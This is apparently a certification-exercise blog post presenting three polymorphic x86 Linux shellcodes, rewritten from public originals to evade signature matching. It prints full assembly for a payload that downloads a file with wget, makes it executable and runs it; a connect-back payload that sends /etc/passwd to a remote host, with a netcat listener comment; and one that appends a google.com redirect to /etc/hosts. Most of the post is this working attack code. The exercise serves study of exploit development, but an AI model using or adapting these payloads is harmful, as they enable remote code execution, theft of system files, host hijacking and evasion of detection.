Introduction
This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-6 directory.
What is Polymorphic Shellcode?
Quoting the Wikipedia article about Polymorphic Code directly:
In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all.
For this assignment, we aren’t going to actually implement a polymorphic engine, but simply alter three existing shellcodes, creating alternate versions of them that are functionally equivalent, but will not pass a pattern match for the original.
There are several ways to accomplish this:
- Changing the order of instructions.
- Inserting NOP instructions between valid instructions.
- Utilize different registers if possible.
- Encode/decode the shellcode.
- Use one of the 19025091295 oddball instructions in the x86 instruction set that no one uses.
- Change the logic within loops.
- Plenty more, just put dive into assembly language and the answers will present themselves with study.
#1 – wget x, chmod +x x, execute x
The original shellcode that I used for this is located at http://shell-storm.org/shellcode/files/shellcode-862.php
This was written by Daniel Sauder and is originally 108 bytes. I was able to do some basic modifications and make this appear completely different, only adding 4 bytes to the original size.
I used vbindiff to show the differences. Only one byte matched, and much of the shellcode is different:
Here is the modified code:
BITS 32
global _start
section .text
_start:
;fork
sub eax, eax
add eax, 2
int 0x80
sub ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
sub eax,eax
add al, 7
int 0x80
;chmod x
sub ecx, ecx
sub eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
sub ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
sub eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
;mov al, 11
add eax, 11
int 0x80
child:
push 0xb
pop eax
cdq
push edx
jmp url
one:
pop esi
mov ecx, esi
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
url:
call one
db "192.168.10.10/x" ;; change ip only. /x is necessary
#2 – Reverse shell that sends /etc/passwd
Again, I used one of Daniel Sauder’s shellcodes. This one connects back to a host and sends the contents of /etc/passwd. The original code is located here:http://shell-storm.org/shellcode/files/shellcode-861.php
This code is originally 111 bytes long, I added two bytes and made it mostly different:
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/about
; License http://creativecommons.org/licenses/by-sa/3.0/
; Shellcode reads /etc/passwd and sends the content to 127.1.1.1 port 12345.
; The file can be recieved using netcat:
; $ nc -l 127.1.1.1 12345
BITS 32
section .text
global _start
_start:
; socket
xor eax, eax
add eax, 102
sub ebx, ebx
mov edx, ebx
inc ebx
push edx
push BYTE 0x1
push BYTE 0x2
mov ecx, esp
int 0x80
;mov esi, eax
xchg eax, esi
; connect
push BYTE 0x66
pop eax
inc ebx
push DWORD 0x1111117f ;127.17.17.17
push WORD 0x3930 ; Port 12345
push WORD bx
mov ecx, esp
push BYTE 16
push ecx
push esi
mov ecx, esp
inc ebx
int 0x80
; dup2
;mov esi, eax
xchg eax, esi
xor ecx, ecx
inc ecx
sub eax, eax
add eax, 0x3f
;mov eax, 0x3F
int 0x80
;read the file
jmp short call_shellcode
shellcode:
push 0x5
pop eax
pop ebx
sub ecx,ecx
int 0x80
mov ebx,eax
mov al,0x3
mov edi,esp
mov ecx,edi
xor edx,edx
mov dh,0xff
mov dl,0xff
int 0x80
mov edx,eax
push 0x4
pop eax
mov bl, 0x1
int 0x80
push 0x1
pop eax
;inc ebx
int 0x80
call_shellcode:
call shellcode
message db "/etc/passwd"
Here’s a visual representation of how different they are using vbindiff again:
#3 – Add an Entry to /etc/hosts
This shellcode adds an entry to /etc/hosts and was originally written by Javier Tejedor. It is 77 bytes long and the original source can be found here: http://shell-storm.org/shellcode/files/shellcode-893.php
I modified this and ended up with an 81 byte shellcode. This is an extra 4 bytes:
BITS 32
global _start
section .text
_start:
sub eax, eax
sub ecx, ecx
push eax
;push 0x7374736f ;/etc///hosts
;push 0x682f2f2f
;push 0x6374652f
push 0x7374736f ;//etc//hosts
push 0x682f2f63
push 0x74652f2f
mov ebx, esp
;mov cx, 0x401 ;permmisions
add cx, 0x401
add eax, 5
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
;push 0x6
;pop eax
sub eax, eax
add eax, 6
int 0x80 ;syscall to close the file
;push 0x1
;pop eax
xor eax, eax
inc eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
Finally, I compare the two shellcodes with vbindiff:
Pingback: SLAE #5: Reverse Engineering Shellcode for Linux/x86 – DMFROBERSON